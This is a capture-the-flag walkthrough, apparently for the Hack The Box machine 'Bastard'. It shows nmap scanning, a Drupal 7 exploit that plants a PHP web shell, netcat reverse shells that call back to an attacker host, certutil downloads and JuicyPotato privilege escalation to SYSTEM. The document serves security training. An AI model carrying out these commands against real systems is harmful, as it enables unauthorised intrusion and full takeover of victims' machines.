Bastard

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.9 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, ports 80, 135 and 49154 are open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p80,135,49154 10.10.10.9 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Exploitation

On port 80 we have a Drupal 7. Let's look for any common exploit for that version of Drupal.

searchsploit Drupal 7.X

Let's move the first exploit to our current folder.

searchsploit -m php/webapps/41564.php

  • -m copies an exploit to the current working directory.

Before executing it, we will have to change a few things.

nano 41564.php

First, let's change the $url variable with the URL of the Bastard machine.

Then we'll have to verify if the $endpoint_path exits. If we search for http://10.10.10.9/rest_endpoint we'll get an error saying that the requested page doesn't exist.

But don't worry, if you search for the http://10.10.10.9/rest directory we will get a message.

So on the PHP script we'll have to change the $endpoint_path variable to /rest.

Finally, we'll have to modify the $file variable, by changing the filename and the data fields. At the data field we'll put some PHP code that will execute at a system level whatever we pass through the cmd parameter.

Finally, we could run the script.

php 41564.php

Now we could access http://10.10.10.9/rce.php and execute commands with the ?cmd parameter.

curl http://10.10.10.9/rce.php?cmd=whoami

Time to get a shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then you'll have to download nc.exe and set an SMB server with the impacket-smbserver tool in the directory where the binary is located.

impacket-smbserver smbFolder $(pwd) -smb2support

Finally, if we access the previous URL indicating the nc.exe binary located in the shared folder, we could send us back a reverse as the nt authority\iusr user, and we could grab the user flag.

http://10.10.10.9/rce.php?cmd=\\10.10.14.11\smbFolder\nc.exe -e cmd 10.10.14.11 4444

Privilege Escalation

Let's see what privileges the user nt authority\iusr has.

whoami /priv

If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.

JuicyPotato is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that SeImpersonate or SeAssignPrimaryToken are enabled.

https://github.com/ohpe/juicy-potato

To escalate privileges, we'll have to transfer JuicyPotato.exe to the victim machine. Let's set a python HTTP server on the directory where we have the JuicyPotato binary.

python -m SimpleHTTPServer

And download the binaries from the desktop folder of the nt authority\iusr user.

certutil.exe -f -urlcache -split http://10.10.14.11:8000/JuicyPotato.exe JuicyPotato.exe

Before executing the JuicyPotato.exe binary, let's set another netcat listener on port 5555 to catch a reverse shell as the NT AUTHORITY\SYSTEM user.

nc -lvnp 5555

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

And let's set an SMB server on the directory where the nc.exe binary is located.

impacket-smbserver smbFolder $(pwd) -smb2support

Finally, let's run the JuicyPotato binary to get a shell as the NT AUTHORITY\SYSTEM user.

JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c \\10.10.14.11\smbFolder\nc.exe -e cmd 10.10.14.11 5555"

  • -t createprocess call.

  • -l COM server listen port.

  • -p program to launch.

  • -a specify command arguments.

But we get an error. This is happening because JuicyPotato is using the default CLSID. If check for system information, we'll see the machine is a Microsoft Windows Server 2008 R2 Datacenter.

systeminfo

So we have to change the CLSID to a valid one. You can check a Windows 8 CLSID list here.

The Class ID, or CLSID, is a serial number that represents a unique ID for any application component in Windows. In practice, this means all registry entries for an application component can usually be found under the registry key HKEY_CLASSES_ROOT\CLSID{CLSID value}.

If we change it for {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}, we should get the reverse shell. Then all we have to do is reap the harvest and take the root flag.

JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c \\10.10.14.11\smbFolder\nc.exe -e cmd 10.10.14.11 5555" -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

  • -t createprocess call.

  • -l COM server listen port.

  • -p program to launch.

  • -a specify command arguments.

  • -c use CLSID.

Last updated

Was this helpful?